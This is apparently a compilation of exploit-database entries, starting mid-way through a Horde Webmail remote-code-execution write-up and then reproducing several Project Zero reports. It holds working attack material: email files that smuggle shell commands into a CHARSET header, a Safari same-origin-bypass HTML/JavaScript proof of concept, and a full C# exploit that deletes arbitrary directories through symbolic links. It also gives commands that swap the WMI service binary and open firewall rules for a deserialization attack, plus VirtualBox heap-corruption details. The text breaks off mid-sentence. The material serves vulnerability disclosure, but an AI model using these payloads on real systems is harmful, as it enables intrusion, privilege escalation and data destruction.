Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in
/imp/config/mime_drivers.php
And the victim has checked the next checkbox in his/her preferences (
“PGP Configure PGP encryption support.” in Prefferences->Mail) :
“Enable PGP functionality”
“Should PGP signed messages be automatically verified when viewed?” if
it is not checked our command will be executed when the victim clicks
on the link “Click HERE to verify the message.”
For versions before 5.2.0: “Should the body of plaintext message be
scanned for PGP data”
An attacker can create email with PGP data, put desired command into
CHARSET attribute of ContentType header, and this command will be
executed on Horde server when the victim opens this email.
Proof of Concept – Remote Code Execution
For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:
Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.
We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).
To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”
Configure the application authentication ($conf[auth][driver]) –
change this option to “Let a Horde application handle authentication”
and click “Generate Horde Configuration”.
If we have Horde Webmail ver 5.2.0 or newer we need to edit
/imp/config/mime_drivers.php file. Login to the console of bitnami
image (default bitnami:bitnami) and run the next command:
sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php
Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and
save the changes.
Step 2 – Logout and login with your gmail account.
Step 3 – Go to Preferences -> Mail and click on PGP link:
Check Enable PGP functionality checkbox and click “Save”
Check Should PGP signed messages be automatically verified when viewed checkbox
For versions before 5.2.0 check “Should the body of plain-text message
be scanned for PGP data” checkbox Click “Save”
For version before 5.2.0:
Step 4 – Go to the Mail, take any mail folder (for example Drafts),
and chose “Import” item from context menu and import attack_whoami.eml
file (in the end of this blog).
Click on the imported email:
Our Horde serve is launched under daemon user
Step 5 – We can do the same with attack_touch.eml (in the end of this
blog) file (import it and click on the new mail) and check /tmp
folder:
attack_touch.eml
Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_touch_tmp_youarevuln
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET="US-ASCII`touch /tmp/youarevuln`";
format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is a sample of a clear signed message.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----
attack_whoami.eml
Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_whoami
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is a sample of a clear signed message.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.
Tested on Safari 10.0.3(12602.4.8).
PoC:
-->
<body>
<p>click anywhere</p>
<script>
window.onclick = () => {
window.onclick = null;
f = document.createElement('iframe');
f.src = 'javascript:alert(location)';
f.onload = () => {
f.onload = null;
let a = f.contentDocument.createElement('a');
a.href = 'https://abc.xyz/';
a.click();
window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
opener[0].document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
};
document.body.appendChild(f);
};
cached.src = kUrl;
</script>
</body>
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1093
Windows: IEETWCollector Arbitrary Directory/File Deletion EoP
Platform: Windows 10 10586 (not tested on anything else)
Class: Elevation of Privilege
Summary:
When cleaning up an ETW session the IEETWCollector service deletes its files and directories as LocalSystem allowing a user to delete arbitrary files or directories on the system.
Description:
When the IEETWCollection session is closed the service will call CIEEtwSessionData::DeleteSessionFiles which will delete the ETW log file and the directory in which it was stored. The directory is specified by the user during the CIEEtwCollector::CreateCollectionSession call to set up the session. While creating the log directory is done under impersonation (so we can’t create arbitrary directories) the cleanup is not. Therefore we can use symbolic link attacks to redirect the ETL and directory to arbitrary files or directory and when cleanup occurs it will delete them as LocalSystem.
Note due to the requirements for symbolic link attacks this should only be exploitable from a normal user even though the service is accessible from any AppContainer or Low IL application. Also worth noting that the ETL file is created outside of impersonation and so could also be redirected to create an arbitrary file, although the contents would be restricted to what could be sent to the logger. As a final note it looks like CIEEtwSessionData::DeleteSessionFiles is called via a number of routes, including when the COM object is released and when the process exits. Therefore using CoImpersonateClient isn’t appropriate (even in the Release case, as due to COM GC Release might not be called in the context of a remote call), you probably want to store the user token with the session and impersonate that in all situations.
While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications.
Proof of Concept:
I’ve provided a PoC as a C# source code file. It only demonstrates the deletion of a directory as that requires the least amount of setup. It uses the fact that if the loading of the agent DLL fails it will call the CIEEtwSessionData::DeleteSessionFiles method.
1) Compile the C# source code file.
2) Execute the poc passing the path to a directory to delete. This directory should already be empty, and to demonstrate EoP shouldn’t be deletable by the current user.
3) It should print that it successfully deleted the directory.
Expected Result:
The target directory isn’t deleted.
Observed Result:
The target directory is deleted.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
namespace NS
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}
[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
};
[Flags]
enum DirectoryAccessRights : uint
{
Query = 1,
Traverse = 2,
CreateObject = 4,
CreateSubDirectory = 8,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;
public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}
[DllImport("ntdll.dll")]
static extern int NtClose(IntPtr handle);
public sealed class SafeKernelObjectHandle
: SafeHandleZeroOrMinusOneIsInvalid
{
public SafeKernelObjectHandle()
: base(true)
{
}
public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
: base(owns_handle)
{
SetHandle(handle);
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
NtClose(this.handle);
this.handle = IntPtr.Zero;
return true;
}
return false;
}
}
public enum SecurityImpersonationLevel
{
Anonymous = 0,
Identification = 1,
Impersonation = 2,
Delegation = 3
}
public enum SecurityContextTrackingMode : byte
{
Static = 0,
Dynamic = 1
}
[StructLayout(LayoutKind.Sequential)]
public sealed class SecurityQualityOfService
{
int Length;
public SecurityImpersonationLevel ImpersonationLevel;
public SecurityContextTrackingMode ContextTrackingMode;
[MarshalAs(UnmanagedType.U1)]
public bool EffectiveOnly;
public SecurityQualityOfService()
{
Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;
private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}
private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}
public ObjectAttributes() : this(AttributeFlags.None)
{
}
public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
{
}
public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
{
}
public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
{
}
public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = attributes;
if (sqos != null)
{
SecurityQualityOfService = AllocStruct(sqos);
}
if (root != null)
RootDirectory = root.DangerousGetHandle();
if (security_descriptor != null)
{
byte[] sd_binary = new byte[security_descriptor.BinaryLength];
security_descriptor.GetBinaryForm(sd_binary, 0);
SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
}
}
public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
if (SecurityQualityOfService != IntPtr.Zero)
{
FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
}
if (SecurityDescriptor != IntPtr.Zero)
{
Marshal.FreeHGlobal(SecurityDescriptor);
SecurityDescriptor = IntPtr.Zero;
}
GC.SuppressFinalize(this);
}
~ObjectAttributes()
{
Dispose();
}
}
public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}
public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);
[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);
[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);
private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}
public NtException(int status) : base(StatusToString(status))
{
}
}
[DllImport("ntdll.dll")]
static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
[DllImport("ntdll.dll")]
static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
{
IntPtr handle;
StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
return new SafeKernelObjectHandle(handle, true);
}
}
static SafeKernelObjectHandle OpenDirectory(string path)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
{
IntPtr handle;
StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
return new SafeKernelObjectHandle(handle, true);
}
}
[DllImport("ntdll.dll")]
static extern int NtCreateSymbolicLinkObject(
out IntPtr LinkHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
UnicodeString DestinationName
);
static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
{
IntPtr handle;
StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
return new SafeKernelObjectHandle(handle, true);
}
}
static List<SafeKernelObjectHandle> CreateChainForPath(SafeKernelObjectHandle root, string path)
{
string[] parts = path.Split('\\');
List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
ret.Add(root);
foreach (string part in parts)
{
ret.Add(CreateDirectory(ret.Last(), part));
}
return ret;
}
[DllImport("ole32.dll")]
static extern int CoInitializeSecurity(
IntPtr pSecDesc,
int cAuthSvc,
IntPtr asAuthSvc,
IntPtr pReserved1,
int dwAuthnLevel,
int dwImpLevel,
IntPtr pAuthList,
int dwCapabilities,
IntPtr pReserved3
);
/* Memory Size: 56 */
[StructLayout(LayoutKind.Sequential)]
struct CreateCollectionSessionRequestData
{
/* Offset: 0 */
public IntPtr AgentName;
/* Offset: 8 */
public Guid AgentClsid;
/* Offset: 24 */
public IntPtr LogName;
/* Offset: 32 */
public Guid LogGuid;
/* Offset: 48 */
public short Member4;
};
/* Memory Size: 16 */
[StructLayout(LayoutKind.Sequential)]
struct CreateCollectionSessionReplyData
{
/* Offset: 0 */
public long Member0;
/* Offset: 8 */
public long Member1;
};
/* Memory Size: 16 */
[StructLayout(LayoutKind.Sequential)]
struct Struct_0
{
/* Offset: 0 */
public IntPtr Member0;
/* Offset: 8 */
public int Member1;
};
[ComImport, Guid("72e78ac2-a1ff-4c6e-be0b-2ca619b2b59b"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IIEEtwCollector
{
void CreateCollectionSession(
/* Stack Offset: 8 */ [In] IIEEtwCollectorHost p0,
/* Stack Offset: 16 */ [In] ref CreateCollectionSessionRequestData p1,
/* Stack Offset: 24 */ [Out] out IIEEtwCollectorSession p2, /* Stack Offset: 32 */ out CreateCollectionSessionReplyData p3);
}
[Guid("f74b1266-ff39-4b62-8b6b-29c09920852c"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]
interface IIEEtwCollectorHost
{
void Proc3(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Struct_0 p1);
void Proc4(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p1);
}
[Guid("ab8ee4b6-26ec-42d4-a7fc-06b4fb10e67a"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]
interface IIEEtwCollectorSession
{
void Proc3(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* enum */ short p1);
void Proc4();
void Proc5(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.BStr)] out string p0);
void Proc6(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out] /* iid_is param offset: 16 */ [MarshalAs(UnmanagedType.IUnknown)] out object p2);
void Proc7();///* Stack Offset: 8 */ [In] struct Struct_2[]* p0, /* Stack Offset: 16 */ [In] int p1, /* Stack Offset: 24 */ [In, Out] struct Struct_3[]* p2);
}
[ComVisible(true)]
class Host : IIEEtwCollectorHost
{
public void Proc3([In] ref Guid p0, [In] ref Struct_0 p1)
{
throw new NotImplementedException();
}
public void Proc4([In] ref Guid p0, [In, MarshalAs(UnmanagedType.LPWStr)] string p1)
{
throw new NotImplementedException();
}
}
static void Main(string[] args)
{
try
{
if (args.Length < 1)
{
Console.WriteLine("Usage: dir_to_delete");
}
string dir_to_delete = Path.GetFullPath(args[0]);
if (!Directory.Exists(dir_to_delete))
{
throw new Exception(String.Format("Directory {0} doesn't exist", dir_to_delete));
}
int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero,
0, 3, IntPtr.Zero, 0, IntPtr.Zero);
if (hr != 0)
{
Marshal.ThrowExceptionForHR(hr);
}
Type t = Type.GetTypeFromCLSID(new Guid("6CF9B800-50DB-46B5-9218-EACF07F5E414"));
IIEEtwCollector collector = (IIEEtwCollector)Activator.CreateInstance(t);
var dirs = CreateChainForPath(OpenDirectory(@"\??"), @"GLOBALROOT\RPC Control");
SafeKernelObjectHandle symlink = CreateSymbolicLink(dirs.Last(), @"xyz", @"\??\" + Path.GetTempPath());
try
{
Directory.Delete(Path.GetTempPath() + Guid.Empty.ToString());
}
catch (IOException)
{
}
CreateCollectionSessionRequestData request = new CreateCollectionSessionRequestData();
request.LogName = Marshal.StringToBSTR(@"\\?\GLOBALROOT\RPC Control\xyz");
var dirs2 = CreateChainForPath(OpenDirectory(@"\RPC Control"), "xyz");
var symlink2 = CreateSymbolicLink(dirs2.Last(), Guid.Empty.ToString(), @"\??\" + dir_to_delete);
request.LogGuid = Guid.Empty;
request.AgentName = Marshal.StringToBSTR("abc.dll");
request.AgentClsid = Guid.Empty;
IIEEtwCollectorSession session;
CreateCollectionSessionReplyData reply;
try
{
Console.WriteLine("Attemping to delete {0}", dir_to_delete);
collector.CreateCollectionSession(new Host(), ref request, out session, out reply);
}
catch (Exception)
{
}
if (!Directory.Exists(dir_to_delete))
{
throw new Exception(String.Format("Deleting directory {0} failed", dir_to_delete));
}
Console.WriteLine("[SUCCESS]: Deleted target directory");
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
}
}
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1079
Windows: Runtime Broker ClipboardBroker EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege
Summary:
The Runtime Broker’s Clipboard Broker allows any low IL/AppContainer (such as Edge or IE EPM) to get access to an OOP IStorage object through the ClipboardBroker leading to a sandbox escape.
Description:
Windows 8 and above have a COM service running as the normal user called the Runtime Broker which performs a few services for AppContainer and low IL processes. One of these services is brokering access to the Clipboard which would normally be restricted. I know at minimum this is used in Edge content processes.
The broker does prevent things like setting data to the current IDataObject but allows AC applications to set their own IDataObject. To do things like blocking SetData the application provided IDataObject object is wrapped by an OLE32 implementation. We can abuse this functionality by first setting our own IDataObject using SetClipboard then calling GetClipboard to get back the OOP IDataObject wrapper. As this is a wrapper it will never marshal the original IDataObject back to the caller so calling methods on the wrapper will execute code inside the Runtime Broker process running outside the sandbox.
If we call something GetData on the OOP wrapper requesting an IStorage object the wrapper will attempt to callback to the IDataObject from the the application to see if that data exists. It does this initially using the GetDataHere method. As this method takes an IN/OUT STGMEDIUM structure it needs to be initialized, it so happens that in this case it will initialize it with an empty READ/WRITE IStorage object. This is passed back to the calling application, however because the default implementation of IStorage does not use custom marshaling (at least for OOP) the IStorage object also never leaves the runtime broker process.
We can now do the traditional dance of querying for IPropertyBag, settings a serializable object (such as MSXML DOMDocument) then reading it back out again. Again this XML DOMDocument object is trapped in the Runtime Broker process, so by running some JScript in an XSLT transform we can get arbitrary code executing outside of the sandbox.
Presumably you wouldn’t even need to do this loopback trick if some other application has pasted an IStorage object to the clipboard, however by doing this we can exploit at any time. I’m sure there’s plenty of edge cases where access to an IStorage object is possible.
The security on Runtime broker allows any AppContainer and low IL application to Launch/Activate and Access, so this would be a general sandbox escape from a number of sandbox types.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile it first. Note that depending on the version of Windows the IIDs for the various interfaces might change, the PoC is only setup for 10.14393 updated to January 2017. Also the PoC must be considered a foreground window otherwise getting/setting the clipboard will fail. In a real scenario this isn’t an issue, I’ve verified that Edge content processes do use the broker if you copy and paste.
1) Compile the C# source code file.
2) Execute the PoC executable as a low privileged user such as AppContainer or low IL.
3) Notepad should appear running at medium as a child of RuntimeBroker.exe.
Expected Result:
Access blocked to storage objects in the clipboard.
Observed Result:
The storage object is accessed and abused to escape the sandbox.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41902.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1081
Windows: ManagementObject Arbitrary .NET Serialization RCE
Platform: .NET 4.6, Powershell 4. Tested between Server 2016 and Windows 10 Anniversary Edition
Class: Remote Code Execution
Summary:
Accessing a compromised WMI server over DCOM using System.Management classes or the Powershell Get-WmiObject Cmdlet can lead to the server running arbitrary code on the calling machine leading to RCE.
Description:
The dangers of using .NET for DCOM are well know, the SRD blog made a post (https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/) which explicitly said it shouldn’t be used between trust boundaries. Presumably people took this to mean implementing servers, but it’s also a risk if a .NET DCOM client connects to an untrusted endpoint. This is due to the IManagedObject interface which will automatically force a client to deserialize an untrusted BinaryFormatter stream which is known bad.
One common use of DCOM in the .NET framework is for WMI access. The old classes in the System.Management namespace are still accessible (even though technically supersceded by Cim classes) and in powershell they act as the backend for Get-WmiObject and family. Through inspection it’s clear that a number of places the client querys for IManagedObject (for example on the IWbemServices object returned from IWbemLevel1Login::NTLMLogin method) and would be vulnerable. If this interface is being queried it means that a .NET client is trying to create an RCW and will try and create a local copy of a remote serializable object.
Therefore in corporate scenarios where some central system is using WMI over DCOM for management and analysis of running systems (and the management code is using the old .NET/PS classes to do the calls) a compromised machine which replaces the WMI service with its own malicious one could get arbitrary code execution on the monitoring machine. As this is typically going to be a higher privileged account (due to the requirements of DCOM access) it probably makes it more serious.
Looking at the network traffic the initial CreateInstance call on the remote activator is only using CONNECT level authentication. This means that it might also be possible to MITM (or Man-At-The-Side) a .NET WMI client and send it back a malicious COM objref to get it to communicate with the attacker's server.
Of course ideally no one would do this, or use the old style .NET and PS commands. But I’m sure there are networks out there which do so.
Proof of Concept:
I’ve provided a PoC as a C# project. You’ll need to also set up some machines to test this out. I’ve tested it in a simple environment of a Server 2016 server acting as a DC and a Windows 10 client. The serialized stream is tailored specifically for 4.6, I don’t know if it works anywhere else.
1) Compile the C# project and copy the binary to c:\service\FakeWmiServer.exe on the Client machine.
2) Run the following commands in admin Powershell on the client machine to configure the WMI service and add the server executable to the firewall.
New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Inbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any
New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Outbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any
sc.exe config winmgmt binPath= c:\service\FakeWMIService.exe type= own
Restart-Service winmgmt -Force
3) On the server start powershell.
4) On the server execute the PS command “Get-WmiObject -Class Win32_Process -ComputerName hostname” replacing hostname with the address of the client.
Expected Result:
WMI connection fails.
Observed Result:
A copy of CMD and Notepad is executed on the server in the context of the calling user.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41903.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086
There is a vulnerability in VirtualBox that permits an attacker with
root privileges in a virtual machine with a NAT network interface to
corrupt the memory of the userspace host process and leak memory
contents from the userspace host process. This probably permits an
attacker with root privileges inside the guest to execute arbitrary
code in userspace context on the host.
The issue is in the copy of slirp that is shipped in VirtualBox, in
the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c:
void
ip_input(PNATState pData, struct mbuf *m)
{
register struct ip *ip;
[...]
ip = mtod(m, struct ip *);
[...]
{
[...]
/*
* XXX: TODO: this is most likely a leftover spooky action at
* a distance from alias_dns.c host resolver code and can be
* g/c'ed.
*/
if (m->m_len != RT_N2H_U16(ip->ip_len))
m->m_len = RT_N2H_U16(ip->ip_len);
}
[...]
}
This code does not seem to be present in the upstream version of
slirp.
The assignment `m->m_len = RT_N2H_U16(ip->ip_len)` overwrites the
trusted length field `m_len` of the buffer `m` with the untrusted
length field in the IP header of the received packet. At this point,
the IP header has not been validated at all. All following code that
processes packets relies on the correctness of `m->m_len`, so by
sending an IP header with a bogus length field, an attacker can cause
all following code to operate on out-of-bounds data.
In particular, an attacker can use this bug to obtain the following
attack primitives:
- The attacker can leak out-of-bounds heap data by sending a UDP
packet to a host on the internet with checksum 0 and a bogus length
field in the IP header.
The host process will send a (possibly fragmented) UDP packet to
the specified host on the internet that includes out-of-bounds heap
data.
This method requires a cooperating host on the internet that the VM
can talk to using the NAT network interface.
- The attacker can leak out-of-bounds heap data by sending an ICMP
Echo Request with a bogus length field in the IP header
to the CTL_DNS address. The VM host then responds with an ICMP Echo
Reply that includes out-of-bounds heap data.
This approach has the advantage of not requiring a cooperating,
reachable server on the internet, but has the disadvantage that
the attacker needs to guess the 16-bit ICMP checksum.
- The attacker can corrupt the heap by sending a UDP packet with a
bogus length whose IP header contains IP options. The host process
will then attempt to strip the IP headers via ip_input -> udp_input
-> ip_stripoptions -> memcpy, which moves the IP payload - including
out-of-bounds heap data - to a lower address. This can
in particular be abused to overwrite a slirp heap chunk header
(struct item) with attacker-controlled packet data.
I have attached a crash PoC. Copy it into a VM whose only network
interface is a NAT interface, compile it with
"gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM
should die after a few seconds, with something like this appearing in
dmesg on the host:
[107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000]
I have tested my crasher in VirtualBox version "5.1.14 r112924".
The bug was introduced in SVN revision
<https://www.virtualbox.org/changeset/23155/vbox>.
################################################################################
Without modifications,
the exploit should work under the following conditions:
- host runs Ubuntu 14.04 (trusty), 64-bit
- host uses libc6 package version 2.19-0ubuntu6.9 (most recent
version)
- VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build)
(most recent version)
- guest runs Linux
- main network interface of the VM is a NAT interface (default
config)
The exploit is able to run an arbitrary shell command on the host
system. The command is hardcoded to "id > /tmp/owned_from_guest".
Some things about the exploit that might be of interest to you:
The exploit operates on memory that belongs to the zone zone_clust of
the UMA heap.
The UMA heap is relatively easy to attack, partly because the sanity
checks are compiled out in userland code in release builds. For
example, the check
`Assert((zone->magic == ZONE_MAGIC && zone == it->zone))` in
uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE()
have no effect. In particular, because the `zone == it->zone`
assertion is not compiled into release builds, an attacker who can
overwrite an item header and point its member ->zone to a controlled
memory area can cause an arbitrary function it->zone->pfFini to be
called when the item whose header was overwritten is freed.
It might make sense to turn assertions in the allocator into something
that is also active in release builds.
For exploiting the bug, it was very helpful that the VirtualBox binary
is built as non-relocatable, meaning that the binary is always loaded
